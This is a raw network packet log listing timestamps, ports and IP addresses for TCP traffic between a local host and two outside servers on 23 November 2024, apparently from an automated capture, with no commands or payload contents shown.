Nov 23, 2024 21:15:23.239443064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.239476919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.239521027 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.240359068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.240426064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.240478039 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.240521908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.241394997 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.241440058 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.242111921 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.242156982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.242326975 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.242340088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.242377043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.243272066 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.243328094 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.243575096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.243621111 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.244229078 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.244278908 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.245026112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.245071888 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.245223045 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.245234966 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.245265007 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.245282888 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.246169090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.246213913 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.246596098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.246637106 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.247119904 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.247160912 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.247343063 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.247385025 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.248078108 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.248119116 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.248199940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.248244047 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.343338966 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.343410969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.344470978 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.344517946 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.346327066 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.346345901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.346359015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.346369028 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.346380949 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.346391916 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.346396923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.346436024 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.406294107 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:23.406404018 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:23.406462908 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:23.406598091 CET	49716	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:23.406615973 CET	443	49716	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:23.412007093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.412062883 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.412363052 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.412381887 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.412405014 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.412424088 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.412472963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.412520885 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.413310051 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.413357973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.413661003 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.413707018 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.413886070 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.413925886 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.414606094 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.414644003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.414747000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.414783001 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.415587902 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.415627003 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.416028976 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.416079044 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.416588068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.416599989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.416635036 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.417979956 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.418067932 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.418096066 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.418133020 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.418541908 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.418554068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.418582916 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.419832945 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.419884920 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.420008898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.420053959 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.420448065 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.420485973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.420527935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.420566082 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.421372890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.421411991 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.421474934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.421513081 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.422967911 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.422990084 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.423006058 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.423023939 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.423322916 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.423367023 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.423901081 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.423939943 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.424318075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.424329996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.424359083 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.424367905 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.425271988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.425309896 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.425388098 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.425426006 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.426202059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.426251888 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.426501036 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.426553965 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.427186012 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.427202940 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.427228928 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.427239895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.428131104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.428177118 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.428436041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.428476095 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.429146051 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.429157019 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.429202080 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.430093050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.430201054 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.430548906 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.430591106 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.431092024 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.431111097 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.431128979 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.431142092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.432008028 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.432049990 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.432104111 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.432141066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.432950974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.432991982 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.433123112 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.433166981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.433952093 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.434000969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.434133053 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.434178114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.434873104 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.434914112 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.435028076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.435064077 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.436161995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.436207056 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.436603069 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.436645985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.437015057 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.437061071 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.437294960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.437336922 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.438054085 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.438098907 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.438143015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.438186884 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.438819885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.438863993 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.439062119 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.439097881 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.439707041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.439748049 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.439915895 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.439950943 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.440685034 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.440721035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.440737009 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.440769911 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.441664934 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.441725016 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.441814899 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.441860914 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.442599058 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.442640066 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.442837954 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.442908049 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.443628073 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.443672895 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.443691015 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.443722963 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.444533110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.444585085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.444683075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.444730997 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.445507050 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.445550919 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.445802927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.445847034 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.446501970 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.446556091 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.446659088 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.446706057 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.447462082 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.447503090 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.447505951 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.447540045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.448402882 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.448442936 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.448501110 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.448534966 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.449369907 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.449408054 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.449498892 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.449536085 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.450320959 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.450364113 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.450506926 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.450545073 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.451356888 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.451400995 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.451493025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.451533079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.452248096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.452289104 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.452708960 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.452744961 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.453243971 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.453284025 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.453366041 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.453418970 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.454199076 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.454251051 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.454497099 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.454543114 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.455257893 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.455302000 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.455579996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.455626965 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.456177950 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.456218004 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.456517935 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.456568956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.457086086 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.457201958 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.457369089 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.457421064 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.458101988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.458148956 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.458298922 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.458336115 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.459008932 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.459044933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.550005913 CET	49717	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:23.550033092 CET	443	49717	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:23.550118923 CET	49717	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:23.550446987 CET	49717	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:23.550460100 CET	443	49717	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:23.555563927 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.555650949 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.555671930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.555721045 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.556066990 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.556112051 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.556299925 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.556343079 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.557018995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.557063103 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.557163000 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.557204962 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.557950020 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.557992935 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.680507898 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.680526972 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.680689096 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.681397915 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.681416988 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.681469917 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.681488037 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.799922943 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.799941063 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.800096989 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.800863981 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.800879955 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.800911903 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.800942898 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922236919 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922266006 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922276974 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922290087 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922311068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922322989 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922333002 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922344923 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922355890 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922367096 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922378063 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922378063 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922391891 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922405958 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922418118 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922430038 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922434092 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922442913 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922455072 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922457933 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922466993 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922478914 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922478914 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922491074 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922492981 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922502995 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922517061 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922518969 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922527075 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922538996 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922539949 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922549963 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922560930 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922564030 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922573090 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922574043 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922585011 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922597885 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922600985 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922620058 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922626019 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922631025 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922643900 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922656059 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922662973 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922667980 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922676086 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922679901 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922693968 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922703028 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922709942 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922723055 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922733068 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:23.922734022 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:23.922745943 CET	80	49715	185.215.113.16	192.168.2.8
